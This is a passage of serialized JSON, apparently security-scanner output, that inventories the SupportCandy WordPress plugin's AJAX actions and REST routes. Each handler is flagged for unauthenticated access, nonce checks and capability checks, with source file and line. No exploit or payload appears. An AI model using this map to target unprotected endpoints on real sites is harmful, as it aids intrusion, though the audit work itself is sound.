:2321,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2324},132,{"action":2326,"nopriv":52,"callback":2327,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2328},"wpsc_it_set_thread_new_ticket","it_set_thread_new_ticket",133,{"action":2326,"nopriv":1401,"callback":2327,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2330},134,{"action":2332,"nopriv":52,"callback":2203,"hasNonce":52,"hasCapCheck":52,"file":2221,"line":2333},"wpsc_load_older_threads",137,{"action":2332,"nopriv":1401,"callback":2203,"hasNonce":52,"hasCapCheck":52,"file":2221,"line":2335},138,{"action":2337,"nopriv":52,"callback":2338,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2339},"wpsc_check_live_agents","check_live_agents",141,{"action":2337,"nopriv":1401,"callback":2338,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2341},142,{"action":2343,"nopriv":52,"callback":2344,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":323},"wpsc_get_ticket_form","get_ticket_form","includes\\admin\\tickets\\class-wpsc-new-ticket.php",{"action":2343,"nopriv":1401,"callback":2344,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":428},{"action":2348,"nopriv":52,"callback":2349,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":579},"wpsc_set_ticket_form","set_ticket_form",{"action":2348,"nopriv":1401,"callback":2349,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":654},{"action":2352,"nopriv":52,"callback":2353,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":436},"wpsc_get_change_create_as","get_change_create_as",{"action":2352,"nopriv":1401,"callback":2353,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":491},{"action":2356,"nopriv":52,"callback":2357,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":515},"wpsc_create_as_autocomplete","create_as_autocomplete",{"action":2356,"nopriv":1401,"callback":2357,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":449},{"action":2360,"nopriv":52,"callback":2361,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":301},"wpsc_add_new_create_as","add_new_create_as",{"action":2360,"nopriv":1401,"callback":2361,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":1481},{"action":2364,"nopriv":52,"callback":2365,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":451},"wpsc_get_create_as_customer_fields","get_create_as_customer_fields",{"action":2364,"nopriv":1401,"callback":2365,"hasNonce":1401,"hasCapCheck":52,"file":2345,"line":493},{"action":2368,"nopriv":52,"callback":2369,"hasNonce":52,"hasCapCheck":52,"file":2345,"line":575},"wpsc_check_tff_visibility","check_tff_visibility",{"action":2368,"nopriv":1401,"callback":2369,"hasNonce":52,"hasCapCheck":52,"file":2345,"line":530},{"action":2372,"nopriv":52,"callback":2197,"hasNonce":52,"hasCapCheck":52,"file":706,"line":2299},"wpsc_get_ticket_list",{"action":2372,"nopriv":1401,"callback":2197,"hasNonce":52,"hasCapCheck":52,"file":706,"line":2301},{"action":2375,"nopriv":52,"callback":2376,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2318},"wpsc_get_tickets","get_tickets",{"action":2375,"nopriv":1401,"callback":2376,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2322},{"action":2379,"nopriv":52,"callback":2380,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2324},"wpsc_get_tl_custom_filter","get_tl_custom_filter_ui",{"action":2379,"nopriv":1401,"callback":2380,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2328},{"action":2383,"nopriv":52,"callback":2384,"hasNonce":52,"hasCapCheck":52,"file":706,"line":2385},"wpsc_tl_get_add_saved_filter","get_add_saved_filter_ui",136,{"action":2383,"nopriv":1401,"callback":2384,"hasNonce":52,"hasCapCheck":52,"file":706,"line":2333},{"action":2388,"nopriv":52,"callback":2389,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2335},"wpsc_tl_set_add_saved_filter","set_add_saved_filter",{"action":2388,"nopriv":1401,"callback":2389,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2391},139,{"action":2393,"nopriv":52,"callback":2394,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2395},"wpsc_tl_get_edit_saved_filter","get_edit_saved_filter_ui",140,{"action":2393,"nopriv":1401,"callback":2394,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2339},{"action":2398,"nopriv":52,"callback":2399,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2341},"wpsc_tl_set_edit_saved_filter","set_edit_saved_filter",{"action":2398,"nopriv":1401,"callback":2399,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2401},143,{"action":2403,"nopriv":52,"callback":2404,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":696},"wpsc_tl_delete_saved_filter","delete_saved_filter",{"action":2403,"nopriv":1401,"callback":2404,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2406},145,{"action":2408,"nopriv":52,"callback":2409,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2410},"wpsc_bulk_change_status","bulk_change_status",148,{"action":2408,"nopriv":1401,"callback":2409,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2412},149,{"action":2414,"nopriv":52,"callback":2415,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":700},"wpsc_set_bulk_change_status","set_bulk_change_status",{"action":2414,"nopriv":1401,"callback":2415,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2417},151,{"action":2419,"nopriv":52,"callback":2420,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2421},"wpsc_bulk_assign_agents","bulk_assign_agents",152,{"action":2419,"nopriv":1401,"callback":2420,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":702},{"action":2424,"nopriv":52,"callback":2425,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2426},"wpsc_set_bulk_assign_agent","set_bulk_assign_agent",154,{"action":2424,"nopriv":1401,"callback":2425,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2428},155,{"action":2430,"nopriv":52,"callback":2431,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2147},"wpsc_bulk_assign_tags","bulk_assign_tags",{"action":2430,"nopriv":1401,"callback":2431,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2151},{"action":2434,"nopriv":52,"callback":2435,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1105},"wpsc_set_bulk_assign_tag","set_bulk_assign_tag",{"action":2434,"nopriv":1401,"callback":2435,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":2437},160,{"action":2439,"nopriv":52,"callback":2440,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1107},"wpsc_bulk_delete_tickets","bulk_delete_tickets",{"action":2439,"nopriv":1401,"callback":2440,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1111},{"action":2443,"nopriv":52,"callback":2444,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1113},"wpsc_bulk_restore_tickets","bulk_restore_tickets",{"action":2443,"nopriv":1401,"callback":2444,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":858},{"action":2447,"nopriv":52,"callback":2448,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1076},"wpsc_bulk_delete_tickets_permanently","bulk_delete_tickets_permanently",{"action":2447,"nopriv":1401,"callback":2448,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1115},{"action":2451,"nopriv":52,"callback":2452,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1024},"wpsc_bulk_archive_tickets","bulk_archive_tickets",{"action":2451,"nopriv":1401,"callback":2452,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1048},{"action":2455,"nopriv":52,"callback":2456,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":868},"wpsc_bulk_permanently_delete_tickets","bulk_permanently_delete_tickets",{"action":2455,"nopriv":1401,"callback":2456,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":872},{"action":2459,"nopriv":52,"callback":2460,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":876},"wpsc_agent_autocomplete_bulk_assign","agent_autocomplete_bulk_assign",{"action":2459,"nopriv":1401,"callback":2460,"hasNonce":1401,"hasCapCheck":52,"file":706,"line":1029},{"action":2463,"nopriv":52,"callback":2464,"hasNonce":52,"hasCapCheck":52,"file":706,"line":883},"wpsc_get_nonce","get_nonce",{"action":2466,"nopriv":52,"callback":2467,"hasNonce":52,"hasCapCheck":52,"file":726,"line":475},"wpsc_get_agent_dashboard","get_agent_dashboard",{"action":2469,"nopriv":52,"callback":2470,"hasNonce":52,"hasCapCheck":52,"file":726,"line":2471},"wpsc_dismiss_sale_banner","dismiss_sale_banner",55,{"action":2473,"nopriv":52,"callback":2474,"hasNonce":1401,"hasCapCheck":52,"file":2475,"line":408},"wpsc_it_get_add_ar","it_get_add_ar","includes\\admin\\tickets\\widgets\\class-wpsc-itw-additional-recipients.php",{"action":2473,"nopriv":1401,"callback":2474,"hasNonce":1401,"hasCapCheck":52,"file":2475,"line":411},{"action":2478,"nopriv":52,"callback":2479,"hasNonce":1401,"hasCapCheck":52,"file":2475,"line":341},"wpsc_it_set_add_ar","it_set_add_ar",{"action":2478,"nopriv":1401,"callback":2479,"hasNonce":1401,"hasCapCheck":52,"file":2475,"line":118},{"action":2482,"nopriv":52,"callback":2483,"hasNonce":52,"hasCapCheck":52,"file":2475,"line":608},"wpsc_get_tw_additional_recipients","get_tw_additional_recipients",{"action":2485,"nopriv":52,"callback":2486,"hasNonce":1401,"hasCapCheck":52,"file":2475,"line":611},"wpsc_set_tw_additional_recipients","set_tw_additional_recipients",{"action":2488,"nopriv":52,"callback":2489,"hasNonce":1401,"hasCapCheck":52,"file":741,"line":823},"wpsc_it_get_edit_agentonly_fields","it_get_edit_agentonly_fields",{"action":2488,"nopriv":1401,"callback":2489,"hasNonce":1401,"hasCapCheck":52,"file":741,"line":622},{"action":2492,"nopriv":52,"callback":2493,"hasNonce":1401,"hasCapCheck":52,"file":741,"line":323},"wpsc_it_set_edit_agentonly_fields","it_set_edit_agentonly_fields",{"action":2492,"nopriv":1401,"callback":2493,"hasNonce":1401,"hasCapCheck":52,"file":741,"line":428},{"action":2496,"nopriv":52,"callback":2497,"hasNonce":52,"hasCapCheck":52,"file":741,"line":431},"wpsc_get_tw_agentonly_fields","get_tw_agentonly_fields",{"action":2499,"nopriv":52,"callback":2500,"hasNonce":1401,"hasCapCheck":52,"file":741,"line":433},"wpsc_set_tw_agentonly_fields","set_tw_agentonly_fields",{"action":2502,"nopriv":52,"callback":2503,"hasNonce":1401,"hasCapCheck":52,"file":2504,"line":408},"wpsc_it_get_edit_assigned_agents","it_get_edit_assigned_agents","includes\\admin\\tickets\\widgets\\class-wpsc-itw-assigned-agents.php",{"action":2502,"nopriv":1401,"callback":2503,"hasNonce":1401,"hasCapCheck":52,"file":2504,"line":411},{"action":2507,"nopriv":52,"callback":2508,"hasNonce":1401,"hasCapCheck":52,"file":2504,"line":341},"wpsc_it_set_edit_assigned_agents","set_edit_assigned_agents",{"action":2507,"nopriv":1401,"callback":2508,"hasNonce":1401,"hasCapCheck":52,"file":2504,"line":118},{"action":2511,"nopriv":52,"callback":2512,"hasNonce":52,"hasCapCheck":52,"file":2504,"line":608},"wpsc_get_tw_agents","get_tw_agents",{"action":2514,"nopriv":52,"callback":2515,"hasNonce":1401,"hasCapCheck":52,"file":2504,"line":611},"wpsc_set_tw_agents","set_tw_agents",{"action":2517,"nopriv":52,"callback":2518,"hasNonce":1401,"hasCapCheck":52,"file":2504,"line":823},"wpsc_agent_autocomplete_itw_assign","agent_autocomplete_itw_assign",{"action":2517,"nopriv":1401,"callback":2518,"hasNonce":1401,"hasCapCheck":52,"file":2504,"line":622},{"action":2521,"nopriv":52,"callback":2522,"hasNonce":52,"hasCapCheck":52,"file":2523,"line":408},"wpsc_get_tw_biographical_info","get_tw_biographical_info","includes\\admin\\tickets\\widgets\\class-wpsc-itw-biographical-info.php",{"action":2525,"nopriv":52,"callback":2526,"hasNonce":1401,"hasCapCheck":52,"file":2523,"line":411},"wpsc_set_tw_biographical_info","set_tw_biographical_info",{"action":2528,"nopriv":52,"callback":2529,"hasNonce":52,"hasCapCheck":52,"file":2530,"line":408},"wpsc_it_get_edit_ticket_status","it_get_edit_ticket_status","includes\\admin\\tickets\\widgets\\class-wpsc-itw-change-status.php",{"action":2528,"nopriv":1401,"callback":2529,"hasNonce":52,"hasCapCheck":52,"file":2530,"line":411},{"action":2533,"nopriv":52,"callback":2534,"hasNonce":1401,"hasCapCheck":52,"file":2530,"line":341},"wpsc_it_set_edit_ticket_status","it_set_edit_ticket_status",{"action":2533,"nopriv":1401,"callback":2534,"hasNonce":1401,"hasCapCheck":52,"file":2530,"line":118},{"action":2537,"nopriv":52,"callback":2538,"hasNonce":52,"hasCapCheck":52,"file":2530,"line":608},"wpsc_get_tw_ticket_status","get_tw_ticket_status",{"action":2540,"nopriv":52,"callback":2541,"hasNonce":1401,"hasCapCheck":52,"file":2530,"line":611},"wpsc_set_tw_ticket_status","set_tw_ticket_status",{"action":2543,"nopriv":52,"callback":2544,"hasNonce":52,"hasCapCheck":52,"file":2545,"line":611},"wpsc_get_tw_raised_by","get_tw_raised_by","includes\\admin\\tickets\\widgets\\class-wpsc-itw-raisedby.php",{"action":2547,"nopriv":52,"callback":2548,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":419},"wpsc_set_tw_raised_by","set_tw_raised_by",{"action":2550,"nopriv":52,"callback":2551,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":622},"wpsc_it_get_edit_raised_by","get_edit_raised_by",{"action":2553,"nopriv":52,"callback":2554,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":323},"wpsc_raisedby_autocomplete","get_raisedby_autocomplete",{"action":2556,"nopriv":52,"callback":2557,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":428},"wpsc_it_set_edit_raised_by","set_edit_raised_by",{"action":2559,"nopriv":52,"callback":2560,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":431},"wpsc_get_rb_other_tickets","get_rb_other_tickets",{"action":2559,"nopriv":1401,"callback":2560,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":433},{"action":2563,"nopriv":52,"callback":2564,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":515},"wpsc_get_rb_info","get_rb_info",{"action":2563,"nopriv":1401,"callback":2564,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":449},{"action":2567,"nopriv":52,"callback":2568,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":451},"wpsc_wp_user_profile","wp_customers_info",{"action":2570,"nopriv":52,"callback":2571,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":454},"wpsc_get_edit_rb_info","get_edit_rb_info",{"action":2570,"nopriv":1401,"callback":2571,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":575},{"action":2574,"nopriv":52,"callback":2575,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":530},"wpsc_set_edit_rb_info","set_edit_rb_info",{"action":2574,"nopriv":1401,"callback":2575,"hasNonce":1401,"hasCapCheck":52,"file":2545,"line":458},{"action":2578,"nopriv":52,"callback":2579,"hasNonce":1401,"hasCapCheck":52,"file":743,"line":823},"wpsc_it_get_edit_ticket_fields","it_get_edit_ticket_fields",{"action":2578,"nopriv":1401,"callback":2579,"hasNonce":1401,"hasCapCheck":52,"file":743,"line":622},{"action":2582,"nopriv":52,"callback":2583,"hasNonce":1401,"hasCapCheck":52,"file":743,"line":323},"wpsc_it_set_edit_ticket_fields","it_set_edit_ticket_fields",{"action":2582,"nopriv":1401,"callback":2583,"hasNonce":1401,"hasCapCheck":52,"file":743,"line":428},{"action":2586,"nopriv":52,"callback":2587,"hasNonce":52,"hasCapCheck":52,"file":743,"line":431},"wpsc_get_tw_ticket_fields","get_tw_ticket_fields",{"action":2589,"nopriv":52,"callback":2590,"hasNonce":1401,"hasCapCheck":52,"file":743,"line":433},"wpsc_set_tw_ticket_fields","set_tw_ticket_fields",{"action":2592,"nopriv":52,"callback":2593,"hasNonce":52,"hasCapCheck":52,"file":2594,"line":408},"wpsc_get_tw_ticket_info","get_tw_ticket_info","includes\\admin\\tickets\\widgets\\class-wpsc-itw-ticket-info.php",{"action":2596,"nopriv":52,"callback":2597,"hasNonce":1401,"hasCapCheck":52,"file":2594,"line":411},"wpsc_set_tw_ticket_info","set_tw_ticket_info",{"action":2599,"nopriv":52,"callback":2600,"hasNonce":1401,"hasCapCheck":52,"file":747,"line":408},"wpsc_it_set_edit_ticket_tags","update_edit_ticket_tags",{"action":2599,"nopriv":1401,"callback":2600,"hasNonce":1401,"hasCapCheck":52,"file":747,"line":411},{"action":2603,"nopriv":52,"callback":2604,"hasNonce":52,"hasCapCheck":52,"file":747,"line":414},"wpsc_get_tw_ticket_tags","get_tw_ticket_tags",{"action":2606,"nopriv":52,"callback":2607,"hasNonce":1401,"hasCapCheck":52,"file":747,"line":416},"wpsc_set_tw_ticket_tags","set_tw_ticket_tags",{"action":2609,"nopriv":52,"callback":2610,"hasNonce":1401,"hasCapCheck":52,"file":747,"line":419},"wpsc_tag_autocomplete","tag_autocomplete",{"action":2609,"nopriv":1401,"callback":2610,"hasNonce":1401,"hasCapCheck":52,"file":747,"line":421},{"action":2613,"nopriv":52,"callback":2614,"hasNonce":52,"hasCapCheck":52,"file":747,"line":323},"wpsc_it_refresh_tags","refresh_tags_list",{"action":2613,"nopriv":1401,"callback":2614,"hasNonce":52,"hasCapCheck":52,"file":747,"line":428},{"action":790,"nopriv":52,"callback":2617,"hasNonce":52,"hasCapCheck":52,"file":760,"line":622},"run_background_process",{"action":790,"nopriv":1401,"callback":2617,"hasNonce":52,"hasCapCheck":52,"file":760,"line":323},{"action":2620,"nopriv":1401,"callback":2621,"hasNonce":1401,"hasCapCheck":52,"file":774,"line":377},"wpsc_default_login","check_user_login",{"action":2623,"nopriv":1401,"callback":2624,"hasNonce":52,"hasCapCheck":52,"file":774,"line":2213},"wpsc_get_default_registration","get_user_registration",{"action":2626,"nopriv":1401,"callback":2627,"hasNonce":1401,"hasCapCheck":52,"file":774,"line":2235},"wpsc_check_user_availability","check_user_availability",{"action":2629,"nopriv":1401,"callback":2630,"hasNonce":1401,"hasCapCheck":52,"file":774,"line":2631},"wpsc_authenticate_registration","send_registration_otp",95,{"action":2633,"nopriv":1401,"callback":2634,"hasNonce":1401,"hasCapCheck":52,"file":774,"line":74},"wpsc_confirm_registration","register_user",{"action":2636,"nopriv":1401,"callback":2637,"hasNonce":52,"hasCapCheck":52,"file":774,"line":352},"wpsc_get_guest_sign_in","get_guest_sign_in",{"action":2639,"nopriv":1401,"callback":2640,"hasNonce":1401,"hasCapCheck":52,"file":774,"line":303},"wpsc_authenticate_guest_login","get_guest_sign_in_auth",{"action":2642,"nopriv":1401,"callback":2643,"hasNonce":1401,"hasCapCheck":52,"file":774,"line":791},"wpsc_confirm_guest_login","confirm_guest_login",{"action":2645,"nopriv":52,"callback":2646,"hasNonce":52,"hasCapCheck":52,"file":827,"line":433},"wpsc_get_macros","get_macros",{"action":2645,"nopriv":1401,"callback":2646,"hasNonce":52,"hasCapCheck":52,"file":827,"line":436},{"action":2649,"nopriv":52,"callback":2650,"hasNonce":1401,"hasCapCheck":52,"file":835,"line":419},"wpsc_initialize_scheduled_task","initialize_scheduled_task",{"action":2652,"nopriv":52,"callback":2653,"hasNonce":1401,"hasCapCheck":52,"file":835,"line":421},"wpsc_run_manual_task","run_manual_task",{"action":2655,"nopriv":52,"callback":1620,"hasNonce":1401,"hasCapCheck":52,"file":844,"line":654},"wpsc_tc_get_operators",{"action":2655,"nopriv":1401,"callback":1620,"hasNonce":1401,"hasCapCheck":52,"file":844,"line":431},{"action":2658,"nopriv":52,"callback":1625,"hasNonce":1401,"hasCapCheck":52,"file":844,"line":436},"wpsc_tc_get_operand",{"action":2658,"nopriv":1401,"callback":1625,"hasNonce":1401,"hasCapCheck":52,"file":844,"line":491},{"action":2661,"nopriv":52,"callback":2662,"hasNonce":1401,"hasCapCheck":52,"file":1031,"line":953},"wpsc_agent_autocomplete_agent_created","agent_autocomplete_agent_created",{"action":2661,"nopriv":1401,"callback":2662,"hasNonce":1401,"hasCapCheck":52,"file":1031,"line":914},{"action":2665,"nopriv":52,"callback":2666,"hasNonce":1401,"hasCapCheck":52,"file":1038,"line":714},"wpsc_agent_autocomplete_assigned_agent","agent_autocomplete_assigned_agent",{"action":2665,"nopriv":1401,"callback":2666,"hasNonce":1401,"hasCapCheck":52,"file":1038,"line":2668},187,{"action":2670,"nopriv":52,"callback":2671,"hasNonce":1401,"hasCapCheck":52,"file":1038,"line":2672},"wpsc_agent_autocomplete_df_aa","agent_autocomplete_df_aa",190,{"action":2670,"nopriv":1401,"callback":2671,"hasNonce":1401,"hasCapCheck":52,"file":1038,"line":2674},191,{"action":2676,"nopriv":52,"callback":2677,"hasNonce":1401,"hasCapCheck":52,"file":1038,"line":2678},"wpsc_self_assign_ticket","self_assign_ticket",197,{"action":2676,"nopriv":1401,"callback":2677,"hasNonce":1401,"hasCapCheck":52,"file":1038,"line":2680},198,{"action":2682,"nopriv":52,"callback":2683,"hasNonce":1401,"hasCapCheck":52,"file":1082,"line":2684},"wpsc_customer_filter_autocomplete","customer_filter_autocomplete",192,{"action":2686,"nopriv":52,"callback":2687,"hasNonce":1401,"hasCapCheck":52,"file":1140,"line":862},"wpsc_agent_autocomplete_prev_assigned_agent","agent_autocomplete_prev_assigned_agent",{"action":2686,"nopriv":1401,"callback":2687,"hasNonce":1401,"hasCapCheck":52,"file":1140,"line":1024},{"action":2690,"nopriv":52,"callback":2691,"hasNonce":1401,"hasCapCheck":52,"file":1158,"line":916},"wpsc_it_close_ticket","it_close_ticket",{"action":2690,"nopriv":1401,"callback":2691,"hasNonce":1401,"hasCapCheck":52,"file":1158,"line":880},{"action":2694,"nopriv":52,"callback":2695,"hasNonce":52,"hasCapCheck":52,"file":1164,"line":876},"wpsc_it_get_edit_subject","it_get_edit_subject",{"action":2694,"nopriv":1401,"callback":2695,"hasNonce":52,"hasCapCheck":52,"file":1164,"line":1029},{"action":2698,"nopriv":52,"callback":2699,"hasNonce":1401,"hasCapCheck":52,"file":1164,"line":916},"wpsc_it_set_edit_subject","it_set_edit_subject",{"action":2698,"nopriv":1401,"callback":2699,"hasNonce":1401,"hasCapCheck":52,"file":1164,"line":880},{"action":2702,"nopriv":52,"callback":2703,"hasNonce":1401,"hasCapCheck":52,"file":1215,"line":419},"wpsc_authenticate_open_ticket","get_authenticate_open_ticket",{"action":2702,"nopriv":1401,"callback":2703,"hasNonce":1401,"hasCapCheck":52,"file":1215,"line":421},{"action":2706,"nopriv":1401,"callback":2707,"hasNonce":1401,"hasCapCheck":52,"file":1215,"line":823},"wpsc_confirm_open_ticket_auth","confirm_open_ticket_auth",{"action":2709,"nopriv":52,"callback":2710,"hasNonce":1401,"hasCapCheck":52,"file":1224,"line":2711},"wpsc_agent_autocomplete_admin_access","agent_autocomplete_admin_access",84,{"action":2713,"nopriv":52,"callback":2714,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":1231},"wpsc_file_upload","file_upload",{"action":2713,"nopriv":1401,"callback":2714,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":482},{"action":2717,"nopriv":52,"callback":2718,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":378},"wpsc_add_custom_image_tinymce","add_custom_image_tinymce",{"action":2717,"nopriv":1401,"callback":2718,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":2720},64,{"action":2722,"nopriv":52,"callback":2723,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":398},"wpsc_edit_custom_image_tinymce","edit_custom_image_tinymce",{"action":2722,"nopriv":1401,"callback":2723,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":312},{"action":2726,"nopriv":52,"callback":2727,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":1218},"wpsc_tinymce_upload_file","tinymce_upload_file",{"action":2726,"nopriv":1401,"callback":2727,"hasNonce":1401,"hasCapCheck":52,"file":1268,"line":290},{"action":2730,"nopriv":52,"callback":2731,"hasNonce":52,"hasCapCheck":52,"file":1309,"line":1231},"wpsc_get_holidays","get_holidays",{"action":2733,"nopriv":52,"callback":2734,"hasNonce":1401,"hasCapCheck":52,"file":1309,"line":482},"wpsc_get_company_holiday_actions","get_company_holiday_actions",{"action":2736,"nopriv":52,"callback":2737,"hasNonce":1401,"hasCapCheck":52,"file":1309,"line":2045},"wpsc_set_company_holiday_actions","set_company_holiday_actions",{"action":2739,"nopriv":52,"callback":2740,"hasNonce":52,"hasCapCheck":52,"file":1340,"line":1231},"wpsc_get_wh_exceptions","get_wh_exceptions",{"action":2742,"nopriv":52,"callback":2743,"hasNonce":52,"hasCapCheck":52,"file":1340,"line":482},"wpsc_get_add_wh_exception","get_add_wh_exception",{"action":2745,"nopriv":52,"callback":2746,"hasNonce":1401,"hasCapCheck":52,"file":1340,"line":2045},"wpsc_set_add_wh_exception","set_add_exception",{"action":2748,"nopriv":52,"callback":2749,"hasNonce":1401,"hasCapCheck":52,"file":1340,"line":1234},"wpsc_get_edit_wh_exception","get_edit_wh_exception",{"action":2751,"nopriv":52,"callback":2752,"hasNonce":1401,"hasCapCheck":52,"file":1340,"line":378},"wpsc_set_edit_wh_exception","set_edit_wh_exception",{"action":2754,"nopriv":52,"callback":2755,"hasNonce":1401,"hasCapCheck":52,"file":1340,"line":2720},"wpsc_delete_wh_exception","delete_wh_exception",{"action":2757,"nopriv":52,"callback":2758,"hasNonce":52,"hasCapCheck":52,"file":1343,"line":1231},"wpsc_get_working_hrs","get_working_hrs",{"action":2760,"nopriv":52,"callback":2761,"hasNonce":1401,"hasCapCheck":52,"file":1343,"line":482},"wpsc_set_working_hrs","set_working_hrs",{"action":2763,"nopriv":52,"callback":2764,"hasNonce":1401,"hasCapCheck":52,"file":1375,"line":654},"wpsc_authorize_v1_upgrade","authorize",{"action":2766,"nopriv":52,"callback":2767,"hasNonce":1401,"hasCapCheck":52,"file":1375,"line":431},"wpsc_upgrade_v1_check_compatibility","check_compatibility",{"action":2769,"nopriv":52,"callback":2770,"hasNonce":52,"hasCapCheck":52,"file":1375,"line":515},"wpsc_v1_upgrade_status","get_v1_upgrade_cron_status",{"action":2772,"nopriv":52,"callback":2764,"hasNonce":1401,"hasCapCheck":52,"file":1386,"line":611},"wpsc_authorize_v2_upgrade",{"action":2774,"nopriv":52,"callback":2767,"hasNonce":1401,"hasCapCheck":52,"file":1386,"line":419},"wpsc_upgrade_v2_check_compatibility",{"action":2776,"nopriv":52,"callback":2777,"hasNonce":52,"hasCapCheck":52,"file":1386,"line":323},"wpsc_v2_upgrade_status","get_v2_upgrade_cron_status",[2779,2786,2790,2795,2799,2803,2807,2811,2815,2819,2823,2827,2833,2837,2840,2844,2848,2852,2855,2859,2863,2865,2870,2874,2878,2882,2886,2891,2896,2901],{"namespace":2780,"route":2781,"methods":2782,"callback":2784,"permissionCallback":2785,"file":1347,"line":575},"supportcandy\u002Fv2","\u002Fagents",[2783],"GET","get_agents","is_user_logged_in",{"namespace":2780,"route":2787,"methods":2788,"callback":2789,"permissionCallback":2785,"file":1347,"line":1216},"\u002Fagents\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_agent",{"namespace":2780,"route":2791,"methods":2792,"callback":2794,"permissionCallback":2785,"file":1351,"line":622},"\u002Fattachments",[2793],"POST","new_attachment",{"namespace":2780,"route":2796,"methods":2797,"callback":2798,"permissionCallback":2785,"file":1351,"line":301},"\u002Fattachments\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_attachment",{"namespace":2780,"route":2800,"methods":2801,"callback":2802,"permissionCallback":2785,"file":1354,"line":823},"\u002Fcategories",[2783],"get_categories",{"namespace":2780,"route":2804,"methods":2805,"callback":2806,"permissionCallback":2785,"file":1354,"line":449},"\u002Fcategories\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_category",{"namespace":2780,"route":2808,"methods":2809,"callback":2810,"permissionCallback":2785,"file":1356,"line":421},"\u002Fcurrent-user",[2783],"get_current_user",{"namespace":2780,"route":2812,"methods":2813,"callback":2814,"permissionCallback":2785,"file":1358,"line":480},"\u002Fcustom-fields",[2783],"get_custom_fields",{"namespace":2780,"route":2816,"methods":2817,"callback":2818,"permissionCallback":2785,"file":1358,"line":2200},"\u002Fcustom-fields\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_custom_field",{"namespace":2780,"route":2820,"methods":2821,"callback":2822,"permissionCallback":2785,"file":1358,"line":13},"\u002Fcustom-fields\u002F(?P\u003Cid>\\d+)\u002Foptions",[2783],"get_options",{"namespace":2780,"route":2824,"methods":2825,"callback":2826,"permissionCallback":2785,"file":1358,"line":2271},"\u002Fcustom-fields\u002F(?P\u003Cid>\\d+)\u002Foptions\u002F(?P\u003Coption_id>\\d+)",[2783],"get_individual_option",{"namespace":2780,"route":2828,"methods":2829,"callback":2830,"permissionCallback":2831,"file":1361,"line":2832},"\u002Fcustomers",[2783],"get_customers","check_permission",68,{"namespace":2780,"route":2834,"methods":2835,"callback":2836,"permissionCallback":2785,"file":1361,"line":2213},"\u002Fcustomers\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_customer",{"namespace":2780,"route":2838,"methods":2839,"callback":1704,"permissionCallback":2785,"file":1366,"line":823},"\u002Fpriorities",[2783],{"namespace":2780,"route":2841,"methods":2842,"callback":2843,"permissionCallback":2785,"file":1366,"line":449},"\u002Fpriorities\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_priority",{"namespace":2780,"route":2845,"methods":2846,"callback":2847,"permissionCallb